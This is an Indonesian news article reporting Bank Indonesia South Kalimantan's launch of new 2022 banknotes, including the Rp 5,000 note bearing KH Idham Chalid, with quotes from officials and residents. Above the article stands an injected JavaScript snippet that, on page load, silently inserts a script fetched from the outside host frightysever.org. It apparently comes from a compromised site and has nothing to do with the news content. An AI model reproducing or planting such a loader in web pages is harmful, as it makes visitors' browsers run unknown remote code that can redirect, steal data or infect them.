(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bisnis

Ayo, Tukar Uang Baru Bergambar KH Idham Chalid di BI Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan Bank Indonesia ProvinsiÂ Kalimantan Selatan membuka layanan penukaran dan juga pengenalan uang kertas baru tahun emisi 2022.

Launching layanan penukaran uang kertas terbaru tersebut langsung dibuka oleh Kepala Perwakilan BI Kalsel Imam Subarkah pada Sabtu (20/8/2022) di halaman Kantor Perwakilan BI Kalsel Jalan Lambung Mangkurat Kota Banjarmasin.

Salah satu pahlawan dalam pecahan uang TE 2022 adalah K. H. Idham Chalid yang diabadikan dalamÂ uang Rp 5.000. Idham Chalid merupakan salah satu tokoh besar dalam organisasi Nahdlatul Ulama atau NU. Bahkan, Idham Chalid merupakan Ketua Tanfidziyah NU terlama sepanjang sejarah NU, yaitu selama 28 tahun sejak 1956 – 1984.

Imam Subarkah mengatakan bahwa hari ini Bank Indonesia Kalsel melaksanakan launching penukaran uang kertas TE 2022 setelah sebelumnya pada Kamis (18/8/2022) telah dilakukan peluncuran perdana dan penyerahan secara resmi kepada Gubernur Kalsel.

“Peluncuran perdana uang kertas Tahun Emisi 2022 secara resmi diserahkan ke Paman Birin Gubernur Kalsel kemaren 18 Agustus 2022 di Kiram Park Kabupaten Banjar,” katanya.

“Hari ini kita launching secara resmi penukaran uang kertas baru Tahun Emisi 2022 dengan mobil kas keliling bekerja sama dengan perbankan Banjarmasin,” tambahnya.

Lebih lanjut iman juga mengatakan bahwa uang kertas yang baru ini berpedoman pada 3M salah satunya yaitu tidak mudah untuk dipalsukan.

“Mudah Dikenali, Menyulitkan untuk dipalsukan, dan menambah durasi masa edar,” ungkap kepala perwakilan BI Kalimantan Selatan tersebut.

Pada penukaran uang kertas baru TE 2022 tersebut terlihat dari pagi masyarakat secara antusias untuk menukarkan uang mereka dengan uang kertas yang baru.

Diah salah satu masyarakat yang melakukan penukaran uang kertas baru tersebut mengatakan bahwa dirinya bersama suami sengaja datang ke Bank Indonesia Kalsel hanya untuk menukarkan uang mereka sebanyak satu juta dengan uang baru.

“Kami menukarkan uang sebanyak satu juta,” katanya.

Ditanya apakah langsung digunakan untuk bertransaksi, Diah mengatakan untuk tidak melakukan transaksi dengan uang baru tersebut dulu dan hanya ingin mengoleksi.

“Rencananya kami simpan atau koleksi dulu saja uang barunya, takut juga kalau pedagang belum menerima,” ungkapnya.

Pada launching kali ini Bank Indonesia Kalimantan Selatan dalam melaksanakan penukaranya bekerja sama dengan perbankan (KALIBER) yang ada di kota Banjarmasin.Â (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell